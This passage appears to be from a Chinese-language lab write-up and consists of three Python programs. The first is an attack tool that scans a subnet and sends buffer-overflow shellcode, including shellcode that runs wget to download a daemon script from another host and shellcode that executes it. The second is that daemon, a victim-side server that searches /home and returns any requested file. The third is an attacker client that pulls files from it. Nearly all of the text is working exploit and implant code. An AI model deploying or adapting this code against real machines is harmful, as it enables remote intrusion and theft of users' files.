140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
# -*- coding: UTF-8 -*-
import socket
import sys
import threading
# 创建接收路由列表

shellcode_createtxt=b'\x31\xc0\xb0\xa0\x29\xc4\x31\xd2\x31\xc9\x66\xba\xff\x01\x66\xb9\x41\x06\x31\xdb\x53\x68\x2e\x74\x78\x74\x68\x6e\x67\x4c\x76\x68\x69\x6e\x46\x65\x68\x2e\x2f\x2f\x4c\x89\xe3\x31\xc0\xb0\x05\xcd\x80\x31\xdb\x53\x6a\x36\x68\x30\x30\x30\x37\x68\x33\x30\x31\x35\x68\x32\x30\x31\x37\x89\xe1\x89\xc3\x31\xd2\xb2\x0d\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xb0\x01\xcd\x80'
shellcode_daemon=b'\x31\xc0\xb0\xa0\x29\xc4\x31\xc0\x50\x89\xc2\x68\x6e\x2e\x70\x79\x68\x61\x65\x6d\x6f\x68\x2f\x2f\x2f\x64\x68\x33\x31\x2f\x66\x68\x33\x30\x2e\x31\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x31\xc0\x50\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xb0\x0b\xcd\x80'
shellcode_execdaemon=b'\x31\xc0\x50\x89\xc2\x68\x6e\x2e\x70\x79\x68\x61\x65\x6d\x6f\x68\x2e\x2f\x2f\x64\x89\xe1\x31\xc0\x50\x68\x74\x68\x6f\x6e\x68\x2f\x2f\x70\x79\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xb0\x0b\xcd\x80'

# 创建互斥锁
lock = threading.Lock()
# 设置需要扫描的端口号列表
port_list = ["8000"]
# routers = []
routers = [["192.168.30.133","8000"]]

#获得本机ip
def get_host_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
ip = s.getsockname()[0]
finally:
s.close()
return ip

# 定义查询路由函数
def search_routers():
# 获取本地ip地址
ip=get_host_ip()
# 存放线程列表池
all_threads = []
# 循环本地网卡IP列表
print(str())
for i in range(1, 256):
# 把网卡IP"."进行分割,生成每一个可用地址的列表
array = ip.split('.')
# 获取分割后的第四位数字,生成该网段所有可用IP地址
array[3] = str(i)
# 把分割后的每一可用地址列表,用"."连接起来,生成新的ip
new_ip = '.'.join(array)
#print(new_ip)
# 遍历需要扫描的端口号列表
for port in port_list:
dst_port = int(port)
# 循环创建线程去链接该地址
t = threading.Thread(target=check_ip, args=(new_ip, dst_port))
t.start()
# 把新建的线程放到线程池
all_threads.append(t)
# 循环阻塞主线程,等待每一字子线程执行完,程序再退出
for t in all_threads:
t.join()
print(routers)


# 创建访问IP列表方法
def check_ip(new_ip, port):
# 创建TCP套接字,链接新的ip列表
scan_link = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 设置链接超时时间
scan_link.settimeout(2)
# 链接地址(通过指定我们 构造的主机地址,和扫描指定端口)
result = scan_link.connect_ex((new_ip, port))
# input_data = b"\x90" * (120)
# scan_link.send(input_data) # 使服务器错误爆炸退出
scan_link.close()
# print(result)
# 判断链接结果
if result == 0:
# 加锁
lock.acquire()
print(new_ip, '\t\t端口号%s开放' % port)
routers.append((new_ip, port))
# 释放锁
lock.release()

def comm_or_attack():
for route in routers:
attack_a = input("是否攻击/通信"+route[0]+route[1]+"?(y/n):")
if attack_a=="y": #是否对该ip进行攻击/通信
while(1):
try:
clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if (clientsocket.connect((route[0], int(route[1]))) != 0):
tans(clientsocket)
except:
print("此轮clientsocket出错")
# shutdown(2) #收发通道关闭
clientsocket.close() #关闭socket
attack_a3 = input("此轮socket已关闭,是否继续攻击/通信(需要等目标恢复服务)?(y/n):")
if attack_a3 == "y":
continue
else:
break
else:
continue
print("END")

def tans(clientsocket):
print("connect success")
print("attack_mode:【1】创建txt文件 【2】发送daemon程序 【3】执行daemon文件 【其他】正常沟通(输入quit退出))")
attack_mode = input("请输入attack_mode:")
if attack_mode == "1": # 【1】创建txt文件
print("创建txt文件shellcode发送")
#拼接shellcode
clientsocket.send(payload_new("1")) # 这里要发生字节流形式,记住这个形式就可以了
print("创建txt文件shellcode发送结束")
elif attack_mode == "2": # 【2】发送daemon程序
print("发送daemon程序shellcode发送")
payload_new(shellcode_daemon) #拼接shellcode
clientsocket.send(payload_new("2")) # 这里要发生字节流形式,记住这个形式就可以了
data = clientsocket.recv(1024)
print("发送daemon程序shellcode发送结束")
elif attack_mode == "3": # 【3】执行daemon文件
print("执行daemon文件shellcode发送")
payload_new(shellcode_execdaemon) #拼接shellcode
clientsocket.send(payload_new("3")) # 这里要发生字节流形式,记住这个形式就可以了
print("执行daemon文件shellcode发送结束")
else: # 【其他】正常沟通
while (1):
input_data = input("send:")
if input_data=="quit":
input_data = b"\x90" * (120)
clientsocket.send(input_data) # 使服务器异常退出停止socket,可用于中止服务器
break
clientsocket.send(input_data.encode("utf-8")) # 这里要发生字节流形式,记住这个形式就可以了
data = clientsocket.recv(1024)
print("recv:", data)
#用于拼接字符串
def payload_new(shellcode_mode):
if shellcode_mode=="2":
payload = shellcode_daemon + b"\x90" * (108 - len(shellcode_daemon))
elif shellcode_mode=="3":
payload = shellcode_execdaemon + b"\x90" * (108 - len(shellcode_execdaemon))
print(3)
else:
payload = shellcode_createtxt + b"\x90" * (108 - len(shellcode_createtxt))
payload = payload + b'\xcc\xde\xff\xbf\xdc\xde\xff\xbf'
payload = payload + b'\x00'
print("拼接payload成功")
return payload

print("正在扫描..., 请稍等...")

# 启动程序入口
if __name__ == '__main__':
# 启动扫描程序
# ports=input("输入想要扫描的端口")
# port_list = port_list.append(ports.split(' '))
# print(port_list)
# search_routers()
comm_or_attack()

6.3 daemon服务端(受害方)程序 daemonl.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
# -*- coding: UTF-8 -*-
import os
import socket
import rsa
import pickle
from cryptography.fernet import Fernet
import hashlib
import time
import threading
import json

#公钥和公钥摘要不一致,密钥被篡改!
class AuthenticationError(Exception):
def __init__(self, Errorinfo):
super().__init__()
self.errorinfo = Errorinfo
def __str__(self):
return self.errorinfo

class Server:

# 默认的最大等待数量为5
# 默认使用本机的ip地址和8080端口
def __init__(self, backlog=5, addr=("192.168.30.133", 8080)):
# 默认使用AF_INET协议族,即ipv4地址和端口号的组合以及tcp协议
self.serverSocket = socket.socket()
# 绑定监听的ip地址和端口号
self.serverSocket.bind(addr)
# 开始等待
self.serverSocket.listen(backlog)

# 该函数需要并行处理
def link_one_client(self):
# 获取客户端对象和客户端地址
clientSocket, addr = self.serverSocket.accept()
# 打印
print("和客户端建立连接\n目标主机地址为:{0}".format(addr))
# 接受客户端传递的公钥
# 这里可以加一个哈希函数检验公钥的正确性!
# 运用pickle进行反序列化
publicKeyPK, pubKeySha256 = pickle.loads(clientSocket.recv(1024))
if hashlib.sha256(publicKeyPK).hexdigest() != pubKeySha256:
raise AuthenticationError("公钥被篡改!")
else:
publicKey = pickle.loads(publicKeyPK)
print("已接受公钥")

# 下面是用公钥加密对称密钥并传递的过程
# 产生用于 AES 对称加密的密钥
sym_key = Fernet.generate_key()
# 用pickle进行序列化用来进行网络传输
# 对密钥进行hash保证其准确性
en_sym_key = rsa.encrypt(pickle.dumps(sym_key), publicKey)
en_sym_key_sha256 = hashlib.sha256(en_sym_key).hexdigest()
print("正在加密传送AES对称密钥") #发送AES密钥以及AES密钥的摘要
clientSocket.send(pickle.dumps((en_sym_key,en_sym_key_sha256)))

# 这里可以添加密钥交换成功的函数
print("密钥交换结束")
# 从AES的密钥初始化加密对象
AES = Fernet(sym_key)
# 下面使用对称密钥进行加密对话的过程
while True:
time.sleep(0.3)
# 接收到的加密消息
recvData = clientSocket.recv(1024)

# ============接收解密=================
# recvData = AES.decrypt(recvData).decode() #====接收解密
# ================不解密=================
recvData = recvData.decode()

print("接受到客户端传来的消息:{0}".format(recvData))
sendData = get_reply(recvData)#调用回复函数来判断
# 对消息进行加密

# ============加密发送=================
# sendData = AES.encrypt(sendData.encode())
# clientSocket.send(sendData)
# ===============不加密=================
clientSocket.send(sendData.encode())

# route=["/home/lfl/桌面/Socket_Example-master/lesson03_trans_file/lfl.txt"] #路径列表,我们用第一个
routes=[]
def get_reply(recvData):
recvData=json.loads(recvData)
# print(recvData["A"])
if recvData["Method"]=="get_file":
print(recvData["file_name"])
search(os.path.abspath('/home'), recvData["file_name"])
# print(route[0])
print(routes)
return "{\"content\":\""+open(routes[0]).read().replace('\n', '').replace('\r', '')+"\"}"
else: #不是get_file
return "{\"content\":\"hello\"}"

#搜索文件
def search(curpath, s):
L = os.listdir(curpath) #列出当前目录下所有文件
for subpath in L: #遍历当前目录所有文件
if os.path.isdir(os.path.join(curpath, subpath)): #若文件仍为目录,递归查找子目录
newpath = os.path.join(curpath, subpath)
search(newpath, s)
elif os.path.isfile(os.path.join(curpath, subpath)): #若为文件,判断是否包含搜索字串
if s in subpath:
routes.append(os.path.join(curpath, subpath))
#print(routes)


#main函数
if __name__ == '__main__':
print("dameon开始运行!")
server = Server()
server.link_one_client()

6.4 daemon客户端(攻击方)程序 client.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# -*- coding: UTF-8 -*-
import socket
import rsa
import pickle
from cryptography.fernet import Fernet
import hashlib
import json

#公钥和公钥摘要不一致,密钥被篡改!
class AuthenticationError(Exception):
def __init__(self, Errorinfo):
super().__init__()
self.errorinfo = Errorinfo
def __str__(self):
return self.errorinfo

class Client:
def __init__(self):
# 产生rsa非对称密钥
self.rsaKey = rsa.newkeys(2048)
# 产生rsa公钥和私钥
self.publicKey = self.rsaKey[0]
self.privateKey = self.rsaKey[1]

def link_server(self, ip,port ):
addr = (ip, port)
# 创建socket通信对象
# 默认使用AF_INET协议族,即ipv4地址和端口号的组合以及tcp协议
clientSocket = socket.socket()
# 默认连接服务器地址为本机ip和8080端口
clientSocket.connect(addr)

# 向服务器传递公钥,和该公钥字符串化后的sha256值
# 发送的sha256用于校验公钥是否正确
print("正在向服务器传送 RSA 公钥")
sendKey = pickle.dumps(self.publicKey)
sendKeySha256 = hashlib.sha256(sendKey).hexdigest()
clientSocket.send(pickle.dumps((sendKey, sendKeySha256)))

# 接受服务器传递的密钥并进行解密
symKey, symKeySha256 = pickle.loads(clientSocket.recv(1024))
if hashlib.sha256(symKey).hexdigest() != symKeySha256:
raise AuthenticationError("AES密钥被篡改!")
else:
self.symKey = pickle.loads(rsa.decrypt(symKey, self.privateKey))
print("AES密钥交换完成")

# 从AES的密钥初始化加密对象
AES = Fernet(self.symKey)
while True:
file_name = input("输入你想获得的文件:")
sendData ="{\"Method\":\"get_file\",\"file_name\": \""+file_name+"\"}"
print(sendData)
# ============加密发送=================
# sendData = AES.encrypt(sendData.encode())
# clientSocket.send(sendData)
# ===============不加密=================
clientSocket.send(sendData.encode())

# 接收数据
recvData = clientSocket.recv(1024)
# ============接收解密=================
# recvData = AES.decrypt(recvData).decode()
# ================不解密=================
recvData = recvData.decode()


print("接收到加密的文件数据,保存文件")
print(recvData)
recvData = json.loads(recvData) #加载文件内容为json
file = open(file_name, 'a') # 若文件不存在,系统自动创建'a'表示可连续写入到文件,保留原内容,在原内容之后写入,可修改该模式('w+','w','wb'等)
file.write(recvData["content"]) # 将字符串写入文件中
file.close()
print("接受到服务器传来的消息:{0}".format(recvData))
#main函数
if __name__ == '__main__':
print("欢迎使用客户端程序!")
client = Client()
client.link_server("192.168.30.133",8080)